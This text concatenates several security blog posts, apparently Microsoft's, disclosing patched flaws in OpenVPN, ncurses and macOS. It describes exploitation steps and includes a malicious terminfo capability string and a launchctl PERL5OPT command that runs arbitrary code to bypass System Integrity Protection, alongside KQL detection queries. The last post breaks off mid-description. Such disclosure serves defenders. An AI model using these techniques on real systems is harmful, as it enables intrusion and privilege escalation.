Figure 10. Stack overflow vulnerability location

This communication mechanism presents an issue as reading the “user” provided number of bytes on to an “n bytes” long structure located on the stack will produce a stack overflow vulnerability.

CVE-2024-24974  

The third vulnerability involves unprivileged access to an operating system resource. The openvpnserv.exe service spawns a new openvpn.exe process based on user requests received through the “\\openvpn\\service” named pipe. This vulnerability allows remote access to the named service pipe, enabling an attacker to remotely interact with and launch operations on it.

CVE-2024-27903  

Lastly, we identified a vulnerability in OpenVPN’s plugin mechanism that permits plugins to be loaded from various paths on an endpoint device. This behavior can be exploited by attackers to load harmful plugins from these different paths.

Exploiting and chaining the vulnerabilities

All the identified vulnerabilities can be exploited once an attacker gains access to a user’s OpenVPN credentials, which could be accomplished using credential theft techniques, such as purchasing stolen credentials on the dark web, using info-stealing malware, or sniffing network traffic to capture NTLMv2 hashes and then using cracking tools like HashCat or John the Ripper to decode them. The discovered vulnerabilities could then be combined to achieve different exploitation results, or chained together to form a sophisticated attack chain, as detailed in the below sections.

RCE exploitation

We first explored how an attacker could achieve remote code execution (RCE) exploitation using CVE-2024-24974 and CVE-2024-27903.

To successfully exploit these vulnerabilities and achieve RCE, an attacker must first obtain an OpenVPN user’s credentials. The attacker’s device must then launch the NET USE command with the stolen credentials to remotely access the operating system resources and grant the attacker access to the named pipes objects devices.

Next, the attacker can send a “connect” request to the “\\openvpn\\service” named pipe to launch a new instance of openvpn.exe on its behalf.

Screenshot of code depicting the initialization of OpenVPN from a remote location
Figure 11. Initializing OpenVPN from a remote location (in which {TARGET_MACHINE_PLACEHOLDER} can be substituted by a different end point)

In the request, a path to a configuration file (\\\\DESKTOP-4P6938I\\share\\OpenVPN\\config\\sample.ovpn) is specified that’s located on the attacker-controlled device. A log path is also provided into which the loaded plugin will write its logs (“–log \\\\\{TARGET_MACHINE_PLACEHOLDER}\\share\\OpenVPN\\log\\plugin_log.txt\).

The provided configuration has instructions to load malicious plugin, as such:

Screenshot of code depicting the malicious plugin loading directive from a remote location
Figure 12. Malicious plugin loading directive from a remote location

After successful exploitation, the attacker can read the log provided on the attacker-controlled device.

Screenshot of the plugin log on the attacker-controlled device
Figure 13. Plugin log on the attacker-controlled device

LPE exploitation

Next, we investigated how an attacker could achieve local privilege execution (LPE) using CVE-2024-27459 and CVE-2024-27903. To successfully achieve an LPE exploit in this context, an attacker must load a malicious plugin into the normal launching process of openvpn.exe by using a malicious configuration file.

First, the attacker will connect to a local device “\\openvpn\\service” named pipe with a command that instructs openvpnserv.exe to launch openvpn.exe based on the attacker-provided malicious configuration.

Screenshot of code depicting initializing OpenVPN from a local configuration
Figure 14. Initializing OpenVPN from a local configuration

The malicious configuration will include a line like the below example:

Screenshot of the malicious plugin loading directive from the local location
Figure 15. Malicious plugin loading directive from the local location

For the malicious plugin to successfully communicate with openvpnserv.exe, it must hijack the number of the handle used by openvpn.exe to communicate with the inner named pipe connecting the openvpv.exe process and the openvpnserv.exe service. This can be achieved, for instance, by parsing command line arguments, as displayed below:

Screenshot of code depicting parsing command line arguments to extract the thread ID
Figure 16. Parsing command line arguments to extract the thread ID (TID)

This works because when the openvpn.exe process spawns, it’s being passed the TID (as a command line argument) that the inner named pipe (which is being used for communication between this specific OpenVPN instance and the openvpnserv.exe service) will have. For instance, if the inner named pipe created is “\\openvpn\\service_1234” then openvpn.exe will be launched with an extra argument of 1234.

Screenshot of code depicting the thread ID being passed as a command line argument
Figure 17. Passing the TID as a command line argument

Next, attackers can exploit the stack overflow vulnerability by sending data bigger than the MSG structure. It is important to note that there are stack protection mechanisms in place, called stack canaries, which make exploitation much more challenging. Thus, when triggering the overflow:

Screenshot of code depicting the stack overflow being triggered
Figure 18. Stack overflow triggered

After the crash of openvpnserv.exe, the attacker has a slot of time in which they can reclaim the named pipe “\\openvpn\\service”.

If successful, the attacker then poses as the server client side of the named pipe “\\openvpn\\service”. From that moment on, every attempt to connect to the “\\openvpn\\service” named pipe will result in a connection to the attacker. If a privileged enough user, such as a SYSTEM or Administrator user, is connected to the named pipe, the attacker can impersonate that user:

Screenshot of code depicting impersonation of a privileged user
Figure 19. Impersonating a privileged user

The attacker can then start an elevated process on the user’s behalf, thus achieving LPE.

Chaining it all together

As our research demonstrated, an attacker could leverage at least three of the four discovered vulnerabilities to create exploits to achieve RCE and LPE, which could then be chained together to create a powerful attack chain.

A number of adjustments are needed for the full attack chain to be exploited as presented in this blog post, mainly the malicious payload that crashes openvpnserv.exe and the malicious payload that actually behaves as openvpnserv.exe after openvpnserv.exe is crashed all have to be loaded with the malicious plugin. After successfully achieving LPE, attackers will use different techniques, such as Bring Your Own Vulnerable Driver (BYOVD) or exploiting known vulnerabilities, to achieve a stronger grasp of the endpoint. Through these techniques, the attacker can, for instance, disable Protect Process Light (PPL) for a critical process such as Microsoft Defender or bypass and meddle with other critical processes in the system. These actions enable attackers to bypass security products and manipulate the system’s core functions, further entrenching their control and avoiding detection.

Critical importance of endpoint security in private and enterprise sectors

With OpenVPN being widely used across various vendors, industries, and fields, the presented vulnerabilities may impact numerous sectors, device types, and verticals. Exploiting these vulnerabilities requires user authentication, a deep understanding of OpenVPN’s inner workings, and intermediate knowledge of the operating system. However, a successful attack could significantly impact endpoints in both the private and enterprise sectors. Attackers could launch a comprehensive attack chain on a device using a vulnerable version of OpenVPN, achieving full control over the target endpoint. This control could enable them to steal sensitive data, tamper with it, or even wipe and destroy critical information, causing substantial harm to both private and enterprise environments.

The discovery of these vulnerabilities underscores the importance of responsible disclosure to secure enterprise and endpoint systems, in addition to the collective efforts of the security community to protect devices across various platforms and establish stronger safeguards for everyone. We would like to again thank OpenVPN for their partnership and swift action in addressing these vulnerabilities.

Mitigation and protection guidance

OpenVPN versions prior to 2.5.10 and 2.6.10 are vulnerable to discussed vulnerabilities.

It is recommended to first identify if a vulnerable version is installed and, if so, immediately apply the relevant patch found here: OpenVPN 2.6.10.

Additionally, follow the below recommendations to further mitigate potential exploitation risks affiliated with the discovered vulnerabilities:

  • Apply patches to affected devices in your network. Check the OpenVPN website for the latest patches.
  • Make sure OpenVPN clients are disconnected from the internet and segmented.
  • Limit access to OpenVPN clients to authorized users only. 
  • Due to the nature of the CVEs, which still require a username and password, prioritizing patching is difficult. Reduce risk by ensuring proper segmentation, requiring strong usernames and passwords, and reducing the number of users that have writing authentication.

Microsoft Defender XDR detections

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alert can indicate associated threat activity:

  • Suspicious OpenVPN named pipe activity

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

  • CVE-2024-27459
  • CVE-2024-24974
  • CVE-2024-27903
  • CVE-2024-1305

Microsoft Defender for IoT

Microsoft Defender for IoT raises alerts for the following vulnerabilities, exploits, and behavior associated with this threat:

  • Suspicion of Malicious Activity

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

This query identifies connection to OpenVPN’s named pipe from remote host:

DeviceEvents  
| where ActionType == "NamedPipeEvent"
| extend JsonAdditionalFields=parse_json(AdditionalFields)
| extend PipeName=JsonAdditionalFields["PipeName"]
| where PipeName == "\\Device\\NamedPipe\\openvpn\\service" and isnotempty( RemoteIP) 

This query identifies image load into OpenVPN’s process from share folder:

DeviceImageLoadEvents 
|where InitiatingProcessFileName == "openvpn.exe" and FolderPath startswith "\\\\"

This query identifies process connect to OpenVPN’s named pipe as server which it is not openvpnserv.exe:

DeviceEvents  
| where ActionType == "NamedPipeEvent"
| extend JsonAdditionalFields=parse_json(AdditionalFields)
| extend PipeName=JsonAdditionalFields["PipeName"], NamedPipeEnd=JsonAdditionalFields["NamedPipeEnd"]
|where PipeName == "\\Device\\NamedPipe\\openvpn\\service" and NamedPipeEnd == "Server" and InitiatingProcessFileName != "openvpnserv.exe"

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy.

List of devices with OpenVPN vulnerabilities

DeviceTvmSoftwareVulnerabilities
| where OSPlatform contains "Windows"
| where CveId in ("CVE-2024-27459","CVE-2024-24974","CVE-2024-27903","CVE-2024-1305") 
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Named pipe creation activity of OpenVPN

let PipeNames = pack_array('\\openvpn/service','\\openvpn/service_','openvpn','openvpn/service','\\openvpn\\service_');
DeviceEvents
| where TimeGenerated > ago(30d)
| where ActionType == "NamedPipeEvent"
| where ProcessCommandLine contains "openvpn.exe" or InitiatingProcessCommandLine contains "openvpn.exe"
| extend Fields=parse_json(AdditionalFields)
| where Fields.FileOperation == "File created"
| where Fields.PipeName has_any (PipeNames)
| project TimeGenerated,ActionType,DeviceName,InitiatingProcessAccountDomain,InitiatingProcessAccountName,InitiatingProcessFolderPath,
InitiatingProcessCommandLine,ProcessCommandLine,Fields.FileOperation,Fields.PipeName

Vladimir Tokarev

Microsoft Threat Intelligence Community

References

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Chained for attack: OpenVPN vulnerabilities discovered leading to RCE and LPE appeared first on Microsoft Security Blog.

]]>
Uncursing the ncurses: Memory corruption vulnerabilities found in library http://approjects.co.za/?big=en-us/security/blog/2023/09/14/uncursing-the-ncurses-memory-corruption-vulnerabilities-found-in-library/ Thu, 14 Sep 2023 11:30:00 +0000 http://approjects.co.za/?big=en-us/security/blog/?p=131561 A set of memory corruption vulnerabilities in the ncurses library could have allowed attackers to chain the vulnerabilities to elevate privileges and run code in the targeted program's context or perform other malicious actions.

The post Uncursing the ncurses: Memory corruption vulnerabilities found in library appeared first on Microsoft Security Blog.

]]>
Microsoft has discovered a set of memory corruption vulnerabilities in a library called ncurses, which provides APIs that support text-based user interfaces (TUI). Released in 1993, the ncurses library is commonly used by various programs on Portable Operating System Interface (POSIX) operating systems, including Linux, macOS, and FreeBSD. Using environment variable poisoning, attackers could chain these vulnerabilities to elevate privileges and run code in the targeted program’s context or perform other malicious actions.

One of the most common vulnerabilities found in modern software, memory corruption vulnerabilities, can allow attackers to gain unauthorized access to systems and data by modifying a program’s memory. The impact of memory corruption vulnerabilities can range from leaking sensitive information and performing a simple denial-of-service (DoS) to elevating privileges and executing arbitrary code.

Microsoft has shared these vulnerabilities with the relevant maintainers through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). Fixes for these vulnerabilities, now identified as CVE-2023-29491 with a CVSS score of 7.8, have been successfully deployed by the maintainers of the ncurses library, Thomas E. Dickey, in commit 20230408. We wish to thank Thomas for his professionalism and collaboration in resolving those issues. We also worked with Apple on addressing the macOS-specific issues related to these vulnerabilities, and we thank Apple for their response and partnership. Lastly, during our analysis, a researcher named Gergely Kalman engaged us privately over Twitter and contributed relevant use cases in addition to his own hand-coded fuzzer. We thank Gergely for his contributions in advancing this research and community engagement. Users of ncurses are encouraged to update their instances and systems.

In this blog post, we share information about ncurses and the discovered memory corruption vulnerabilities. We also share this research to emphasize the importance of collaboration among researchers, industry partners, and the larger security community in the effort to improve security for all.

Understanding terminal databases

Terminal databases are used by ncurses to be terminal-independent, meaning the capabilities of the terminal are not required to be known ahead-of-time. Terminal databases contain a set of capabilities that ultimately determine the control characters that are sent to the terminal (instructing the terminal to perform basic interactions) and describe various properties of the terminal. Terminal databases come in two major formats: the older and less commonly used termcap (terminal capability) format, and the improved terminfo format. Since terminals can differ on the types of control characters they expect and the operations they support, terminfo became necessary to address this discrepancy.  In its textual syntax, capabilities are separated by commas, and come in three forms:

  • Boolean capabilities: for example, the am capability specifies that the terminal supports automatic margins. In the terminfo textual syntax, Boolean capabilities appear by their name alone, without any additions.
  • Numeric capabilities: for instance, the cols capability contains the number of columns in a line. In the terminfo textual syntax, numeric capabilities are recognized with a “#” symbol after their name, followed by the numeric value, such as “cols#80”.
  • String capabilities: for instance, the clear capability describes the control character that should be transmitted to the terminal to clear the screen. In the terminfo textual syntax, string capabilities are recognized with a “=” symbol after their name, followed by the string value, such as “clear=\E[H\E[2J”.

POSIX systems usually pre-ship with tens of such databases. It’s possible to parse the capabilities of the current database with the infocmp utility:

Screenshot of the infocmp utility code output
Figure 1. infocmp output reveals the current terminfo database along with its capabilities

Environment variable poisoning

Every modern operating system contains a set of environment variables that might affect the behavior of programs. A well-known technique for attackers is to manipulate those environment variables to cause programs to perform actions that would benefit their malicious purposes, hence “poisoning” them. There have been multiple cases of environment variable poisoning in the past, for instance:

  • CVE-2023-22809: users were allowed to elevate their privileges by poisoning the EDITOR environment variable (and similar other environment variables) and running sudoedit, which ultimately allowed them to edit arbitrary files.
  • CVE-2022-0563: the environment variable INPUTRC is indirectly used by the chsh and chfn set-UID Linux binaries. It was discovered that INPUTRC could be poisoned to dump the contents of sensitive files on the system.
  • CVE-2020-9934: the HOME environment variable could be poisoned to bypass Transparency, Consent, and Control (TCC) on macOS, thus gaining access to otherwise inaccessible sensitive data. We have found a similar bypass and reported it in 2021.
  • CVE–2023-32369: the PERL5OPT and BASH_ENV environment variables could be poisoned to bypass System Integrity Protection (SIP) in macOS, thus elevating privileges. We have reported the vulnerability in April 2023.
  • The LD_PRELOAD environment variable is commonly used in Linux for code injection purposes.
  • The WINDIR and SYSTEMROOT environment variables have been used in the past on Windows for bypassing User Account Control (UAC).

We have discovered that during initialization, the ncurses library searches for several environment variables, including an environment variable similarly named TERMINFO. When using terminfo databases, the program consults a fixed directory path unless a TERMINFO environment variable is present, which instead points the program to an alternative directory that contains compiled terminfo database files. Moreover, there are interesting common programs that use ncurses, most notably top on macOS, which is a set-UID binary (which runs with elevated privileges) that also uses the TERMINFO environment variable. Therefore, finding vulnerabilities in ncurses have the potential to affect many programs and possibly elevate privileges. It’s noteworthy that the potential of poisoning the TERMINFO environment variable was highlighted several times in the past (for example, here), but we have not seen comprehensive research on the topic of terminfo capabilities for offensive security purposes.

For completeness, while this blog post focuses on how attackers could poison the TERMINFO environment variable to potentially exploit ncurses vulnerabilities, the HOME environment variable could have been similarly manipulated. Assuming the TERMINFO environment variable was never defined, ncurses looks for a $HOME/.terminfo directory. This could have been abused by planting a .terminfo directory at an arbitrary path and poisoning the HOME environment variable, so the technique is quite similar.

Stack-based terminfo capabilities

The terminfo capabilities are richer than they first appear. In a nutshell, capabilities are allowed to receive up to nine parameters (p1-p9) and use them in a stack data structure. Furthermore, capabilities work with a stack-like structure and instructions that can push (place an item in the stack) and pop (get an item from the stack) data, perform logical-arithmetic operations, and even support conditions. Here are some examples:

OperationDescription
%{number}Push a constant value to the stack.
%pxPush the parameter to the stack.
%+, %-, %*, %/, %mPop two numbers from the stack and push the arithmetic result of the stack. Addition, substruction, multiplication, division, and remainder operations are supported.
%&, %|, %^Pop two numbers from the stack and push the bitwise result to the stack. Bitwise OR, AND, and XOR are supported.
%=, %<, %>, %A, %OPop two numbers and compare them, pushing the logical result back to the stack. The operations of comparison, less-than, and greater-than are supported, as well as logical AND and OR operations.
%lPop a string from the stack and push its length back to the stack.
%?[condition]%t[body1]%e[body2]%;Perform a condition. The %t operation pops a numeric value from the stack and compares it to 0. The result determines what body to execute (the “else” body is optional and comes after the %e delimiter).
%s, %cPop a string from the stack and print it out to the terminal.
%d, %xPop a number from the stack and print it out to the terminal.

While not Turing-complete, terminfo offers functionality that resembles very basic programming. Due to the complicated logic required by ncurses, security issues are expected to be found, and indeed there have been numerous ncurses vulnerabilities in the past.

It’s interesting to note that while the version of ncurses we checked was 6.4 (latest at the time of research), the ncurses version on macOS was 5.7, but had several security-related patches maintained by Apple. Nevertheless, all our findings are true for all ncurses versions, thus affecting both Linux and macOS.

Discovered vulnerabilities

We discovered several memory corruption vulnerabilities through code auditing and fuzzing. In addition to using our own AFL++ based fuzzer, the use cases contributed by Gergely Kalman assisted in advancing this research.

The discovered vulnerabilities could have been exploited by attackers to elevate privileges and run code within a targeted program’s context. Nonetheless, gaining control of a program through exploiting memory corruption vulnerabilities requires a multi-stage attack. The vulnerabilities may have needed to be chained together for an attacker to elevate privileges, such as exploiting the stack information leak to gain arbitrary read primitives along with exploiting the heap overflow to obtain a write primitive.

Stack information leak

The function that runs the capability logic is called tparm. It is a C variadic function, meaning its number of arguments is not predefined (similarly to printf). The way variadic functions work in C is usually with the va_list structure and its macros, va_start, va_arg, and va_end. The common scenario for such functions is to parse a format-string, conclude the number of parameters it expects, and use the va_arg macro iteratively to fetch those arguments. However, since an attacker can be in full control of the capability’s string, we can make tparm call va_arg more times than it should, effectively leaking information from the call stack. Since we are allowed up to nine parameters, we can leak up to eight unintended arguments, including arguments from the program’s stack:

Screenshot of code
Figure 2. Demonstrating an information leak proof of concept

Parameterized string type confusion

The stack used by the tparm function is just an allocated array with 20 entries (referred as STACK_FRAME in the source code). Each frame can hold either a number (32-bit signed integer) or a string (pointer). To distinguish between a number and a string, the frame uses a Boolean value, which represents whether the data is numeric or not:

Screenshot of code
Figure 3. A terminfo stack entry

Certain push operations can be easily concluded, for example, when pushing an arithmetic result (such as %+) or a literal (%{number}). However, for parameters, things are different. There is no easy way to know ahead of time whether a parameter is expected to be a string or numeric. Therefore, tparm uses a heuristic—it walks the capability string statically, and when it sees %s or %l, it concludes that the last parameter push was a string. This approach can be abused in multiple ways. For example, the macOS top utility calls mvcur, which in turn calls tparm with the cup capability, along with integer parameters. Treating the parameter as a string can trigger strlen on the integer address:

Screenshot of code
Figure 4. Type confusion causes strlen to be invoked on low addresses

The crash we triggered occurs during an initialization of the mvcur operation, which assesses the “cost” of moving the cursor by invoking tparm with a constant, non-attacker-controlled value. We can improve the attack by using conditions—if the parameter’s value is not that constant value, then treat the parameter as a string, otherwise treat it as a number. Implementation with capabilities is straightforward:

A line of code reading cup=%?%p1%p2%<%t\E[%i%p1%d;%p2%dH%e%p1%s%;,

This should be read as:

Screenshot stating “IF p1 < p2 THEN (use the usual ‘cup’ capability) ELSE treat p1 is a string”
Screenshot of code
Figure 5. Using conditions to only trigger strlen when desired

This primitive is quite powerful, as we can trigger strlen on an arbitrary number, effectively gaining a read primitive. Gaining a read primitive defeats the Address Space Layout Randomization (ASLR) security mechanism to leak address information and, if the binary happens to contain valuable secrets in its memory (like passwords), an attacker could potentially read those as well.

Cost calculating padding off-by-one

We have mentioned mvcur uses a cost-calculating function to determine the costs of certain capabilities. The cost-calculation is done by the function _nc_msec_cost, and it assesses the number of milliseconds it takes to print out a capability, which is strongly derived by delays that could be a part of a capability. Delays are numeric literal values wrapped between ‘$<’ and ‘>’, and they even support a decimal point. We discovered an off-by-one error—if the function sees a decimal point character, it skips one character assuming a digit, with an insufficient check after:

Screenshot of code
Figure 6. Off-by-one bug causes the string to be assessed beyond its boundaries

Therefore, it’s possible to have the cost-calculating function read beyond the boundary of the capability string by closing the delay markup with a ‘>’ character immediately following the decimal dot.

Screenshot of code
Figure 7. Reading past the capability string limit might cause a segmentation fault

Heap out-of-bounds during terminfo database file parsing

The terminfo database files are binary files commonly compiled from the text representation with a utility called tic. The format of the database consists of the following parts:

  • The header: contains a magic value, the size of the terminal name, the number of Boolean capabilities, the number of numeric capabilities, the number of string capabilities, and the total size of string capabilities.
  • The terminal name
  • The capabilities:
    • The Boolean capabilities
    • The numeric capabilities
    • The string capability offsets
    • The string capabilities themselves
  • Optional extended entries (in the same order: Boolean, numeric, and strings)

The optional extended entries are user-defined entries. We discovered that the function that performs that database parsing (_nc_read_termtype) can write beyond the boundaries of a heap-allocated chunk, as such:

Screenshot of code
Figure 8. Heap out-of-bounds due to realloc call
  1. The code uses calloc to allocate room for the strings. While STRCOUNT is a constant representing the maximum length of standard string capabilities (414), str_count is attacker-controlled and defined in the header of the attacker’s terminfo file. This controls the size of the allocated chunk saved in ptr->Strings.
  2. After parsing all the standard capabilities, ncurses starts parsing the extended capabilities. The code assigns ptr->num_Strings to STRCOUNT+ ext_str_count, which might be smaller than the non-extended string count, effectively shrinking ptr->Strings with a realloc call.
  3. Immediately after the realloc call, we can see ptr->Strings being written beyond its boundaries. Extended string capabilities are parsed and appended after standard string capabilities. The convert_strings function attempts to achieve this by storing data in ptr->Strings + str_count. However, while ptr->Strings was shrunk to STRCOUNT+ext_str_countstr_count is user-controlled and can be greater than STRCOUNT.
  4. If str_count >= STRCOUNT, then ptr->Strings + str_count + ext_str_count will be greater than ptr->Strings + STRCOUNT + ext_str_count and convert_strings will cause a heap buffer overflow.

Denial of service with canceled strings

The ncurses library has a notion of marking strings as “cancelled”. This is useful for terminfo database inheritance and skipping absent capabilities in general. As an example, the function convert_strings that converts strings from the terminfo database file format to the appropriate data structures in memory sets strings as CANCELLED_STRING if the index referring to them is negative.

Screenshot of code
Figure 9. convert_strings setting a string to be CANCELLED

The value of the CANCELLED_STRING constant is -1, and before processing, the ncurses codebase looks for these strings and converts them to ABSENT_STRING (constant 0). Unfortunately, it does so only for ordinary strings; extended strings do not get that treatment. Specifically, a heuristic determines that strings that begin with the “k” character should be treated as keypad functionality. This allows an attacker to specify an extended string in a way that will make ncurses dereference -1 (0xFFFFFFFFFFFFFFFF):

Screenshot of code
Figure 10. ncurses dereferencing -1 when attempting to parse a cancelled string for keypad functionality

Protection and detection with Microsoft Defender for Endpoint

While organizational devices and networks may become increasingly secure, attackers continue to exploit unpatched vulnerabilities and misconfigurations as a vector to access sensitive systems and information. Exploiting vulnerabilities in the ncurses library could have notable consequences for users, allowing attackers to perform malicious actions like elevating privileges to run code in a targeted program’s context and access or modify valuable data and resources. Responding to the evolving threat landscape requires us to expand our expertise across devices and platforms as part of our commitment to continuously improve security from Microsoft, not just for Microsoft.

This case displays how responsible vulnerability disclosure and collaborative research informs our comprehensive protection capabilities across platforms. Microsoft Defender Vulnerability Management is able to quickly discover and remediate such vulnerabilities on both Linux and macOS. Additionally, Microsoft Defender for Endpoint has similar detections for potential abuse of terminfo databases for set-UID binaries, such as macOS’s top:

Screenshot of code
Figure 11. Microsoft Defender for Endpoint detecting suspicious TERMINFO use

After discovering the vulnerabilities in the ncurses library, we worked with the maintainer, Thomas E. Dickey, and Apple to ensure the issues were resolved across platforms. Additionally, this case displays the value of community engagement to improve security for all as researcher Gergely Kalman’s use case contributions assisted our research efforts. We wish to again thank Thomas and the Apple product security team for their efforts and collaboration in addressing CVE-2023-29491, as well as Gergely for his contributions in furthering this research.

As the threat landscape continues to evolve and threats across all platforms continue to grow, Microsoft strives to continuously secure users’ computing experiences, regardless of the platform or device in use. We will continue to work with the security community to share vulnerability discoveries and threat intelligence in the effort to build better protection for all.

Jonathan Bar Or, Emanuele Cozzi, Michael Pearse

Microsoft Threat Intelligence team

References

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Uncursing the ncurses: Memory corruption vulnerabilities found in library appeared first on Microsoft Security Blog.

]]>
New macOS vulnerability, Migraine, could bypass System Integrity Protection http://approjects.co.za/?big=en-us/security/blog/2023/05/30/new-macos-vulnerability-migraine-could-bypass-system-integrity-protection/ Tue, 30 May 2023 16:00:00 +0000 http://approjects.co.za/?big=en-us/security/blog/?p=130323 A new vulnerability, which we refer to as “Migraine”, could allow an attacker with root access to bypass System Integrity Protection (SIP) in macOS and perform arbitrary operations on a device.

The post New macOS vulnerability, Migraine, could bypass System Integrity Protection appeared first on Microsoft Security Blog.

]]>
A new vulnerability, which we refer to as “Migraine” for its involvement with macOS migration, could allow an attacker with root access to automatically bypass System Integrity Protection (SIP) in macOS and perform arbitrary operations on a device. We shared these findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). A fix for this vulnerability, now identified as CVE-2023-32369, was included in the security updates released by Apple on May 18, 2023.

SIP is a security technology in macOS that restricts a root user from performing operations that may compromise system integrity. Bypassing SIP could lead to serious consequences, such as increasing the potential for attackers and malware authors to successfully install rootkits, create persistent malware, and expand the attack surface for additional techniques and exploits. The technique uncovered in this blog post was discovered during routine malware hunting and is similar to the one used in the Shrootless vulnerability (CVE-2021-30892) that we published in 2021. By focusing on system processes that are signed by Apple and have the com.apple.rootless.install.heritable entitlement, we found two child processes that could be tampered with to gain arbitrary code execution in a security context that bypasses SIP checks.

In this blog post, we share some information about the relationship between SIP and entitlements, and we detail how the “Migraine” vulnerability could be exploited to bypass the SIP security enforcements. We’re sharing this research with the larger security community to emphasize the importance of collaboration in the effort to secure platforms and devices.

SIP and entitlements

As previously covered in our Shrootless vulnerability blog post, System Integrity Protection (SIP)—also known as “rootless”—was first introduced by Apple in macOS Yosemite. SIP essentially locks down the system from root by leveraging the Apple sandbox to protect the entire platform, conceptually similar to how SELinux protects Linux systems. One of the most dominant features of SIP is the filesystem restriction capability, which protects entire files and directories from being overridden. The files and directories that are protected by SIP by default are commonly ones that are related to the system’s integrity.

There is no way to turn off SIP on a live system—the user must use the recovery OS, which requires physical access to the device. A SIP bypass is a vulnerability that bypasses SIP restrictions, for example, bypassing restrictions to write to SIP-protected directories or create a SIP-protected file.

Another important macOS concept is entitlements. According to documentation, “an entitlement is a right or privilege that grants an executable particular capabilities”. As entitlements take part in the app signing process, there is no legitimate way of forging them. Apple uses entitlements extensively to enforce security on macOS, and Apple grants internal entitlements to very specific processes. Specifically, certain processes are assigned entitlements that allow the process to bypass System Integrity Protection checks by design. One particularly interesting entitlement is the com.apple.rootless.install.heritable entitlement that allows the process and the entire process tree rooted under it to bypass filesystem-based System Integrity Protection security enforcements.

Discovering a SIP bypass by design

Our research team regularly looks for malware and suspicious activity. During a routine malware hunt, we discovered the execution of a binary called drop_sip using the below advanced hunting query in Microsoft 365 Defender:

DeviceProcessEvents
| where FileName =~ "drop_sip"
| project InitiatingProcessFileName, ProcessCommandLine, SHA256

Thinking that we found an exploit in the wild, we found that it’s an Apple-signed binary that resides natively under the /System/Library/PrivateFrameworks/SystemMigrationUtils.framework/Resources/Tools/drop_sip path.

Upon analysis, the file appears to invoke the csops system call (undocumented, but available here) and starts a child process. The operation flag for the csops call is 12 (CS_OPS_CLEARINSTALLER), which re-enables SIP checks by clearing codesigning flags, specifically the CS_EXEC_INHERIT_SIP flag:

Code displaying drop_sip’s functionality
Figure 1. drop_sip’s functionality is to change the code signing flags and execute a child process
Code displaying re-enabling SIP
Figure 2. Modification of the p_csflags member as a result of the csops system call – re-enables SIP

Because of this behavior, we concluded the drop_sip process assumes it can bypass SIP. However, since drop_sip is not entitled with any SIP-bypassing entitlements, we concluded that it must inherit that capability. We discovered its parent process is systemmigrationd, which is a daemon designed to handle migration scenarios, but most importantly, it’s entitled with the com.apple.rootless.install.heritable entitlement that allows its child processes to bypass SIP security checks:

Code displaying systemmigrationd entitlements
Figure 3. systemmigrationd entitled with SIP-bypassing capabilities

Developing a “Migraine”

After discovering the parent process of drop_sip, we wondered if there are any other child processes of systemmigrationd. Just as before, we used the below advanced hunting query in Microsoft 365 Defender:

DeviceProcessEvents
| where InitiatingProcessFileName =~ "systemmigrationd"
| summarize Hits=count(), Cmdline=any(ProcessCommandLine) by FileName

We found two interesting child processes of systemmigrationd:

FileNameHitsCmdline
bash498/bin/bash /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationData/Scripts/firstbootDirectoryServer
perl171/usr/bin/perl /usr/libexec/migrateLocalKDC –source “/Volumes/REDACTED/Backups.backupdb/REDACTED/Macintosh HD – Data” –source-REDACTED

The bash and perl binaries are interesting because they are both interpreters. Similar to how we tampered with the zsh codeflow back in 2021, we found similar ways to tamper with the code flow of bash and perl:

Code displaying running arbitrary commands in bash instances
Figure 4. The bash manual page states BASH_ENV as a way to run arbitrary commands in bash instances
Code displaying running arbitrary commands in perl instances
Figure 5. The “perlrun” manual page states PERL5OPT as a way to run arbitrary commands in perl instances

Assuming an attacker first gains code execution capabilities as root, setting environment variables that affect systemmigrationd and its child processes is straightforward using the launchctl utility. For instance, to make perl run our arbitrary code that resides under /private/tmp/migraine.sh, we use:

launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'

And indeed, after triggering systemmigrationd to run perl, we were able to bypass SIP:

Code displaying SIP protections making a file undeletable
Figure 6. Creating an undeletable file due to its SIP protection.

Exploitation approach

Triggering migration normally requires using the Migration Assistant utility, which involves a complete sign-out from the system. While this works well for attackers with physical access (hands-on-keyboard), we wished to demonstrate that remote attackers can achieve a SIP bypass using this exploit. Therefore, we decided to research the migration flow and the interplay between the Migration Assistant and systemmigrationd.

Migration is a complicated procedure that involves several components. Here is the flow of key events:

